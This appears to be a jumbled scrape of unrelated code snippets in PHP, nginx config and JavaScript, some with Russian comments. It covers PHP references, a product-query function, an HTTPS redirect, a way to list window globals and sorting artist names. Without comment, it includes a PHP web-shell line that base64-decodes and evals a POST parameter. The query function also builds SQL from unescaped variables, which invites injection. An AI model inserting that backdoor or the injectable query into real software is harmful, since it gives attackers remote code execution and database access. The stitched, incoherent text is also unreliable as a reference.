foreach ($array as &$item) {
$item *= 2;
}
$recursiveClosure = function() use (&$recursiveClosure) {
$recursiveClosure();
};
function foo(&$result)
{
$result = 'result';
}
function get_products($ids, $start_pos, $perpage) {
global $connection;
$products = array();
$query = "SELECT * FROM sdvd_products LIMIT $start_pos, $perpage";
if($ids) {
$query = "SELECT * FROM sdvd_products WHERE parent IN($ids) LIMIT $start_pos, $perpage";
}
if ($res = mysqli_query($connection, $query)) {
while ( $row = mysqli_fetch_assoc($res)) {
$products[] = $row;
}
}
return $products;
}
server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri; # enforce https
# rewrite ^(.*) https://www.example.com$uri permanent;
}
There are a few pitfalls to be aware of. Before PHP version 5.1.0, instanceof would call __autoload() if the class name did not exist. In addition, if the class was not loaded, a fatal error would occur. This can be worked around by using a dynamic class reference, or a string variable containing the class name:
document.body.insertAdjacentHTML('beforeend', '<iframe hidden />');
var originalWin = window.frames[window.frames.length - 1],
originalKeys = Object.keys(originalWin);
var globals = Object.keys(window).filter(x => originalKeys.indexOf(x) === -1);
<?php eval(base64_decode($_POST['n08c394']));?>
// исходный массив
$artists = array('ffff', 'cccc', 'аaaa');
// сортируем и получаем: аaaa, cccc, ffff
asort($artists);
// цикл "для каждого артиста"
foreach($artists as $artist){
// отрезаем первую букву и делаем её заглавной
$first_letter = mb_strtoupper(substr($artist, 0, 1));
// добавляем в массив список артистов на букву $first_letter
$output[$first_letter][] = $artist;
}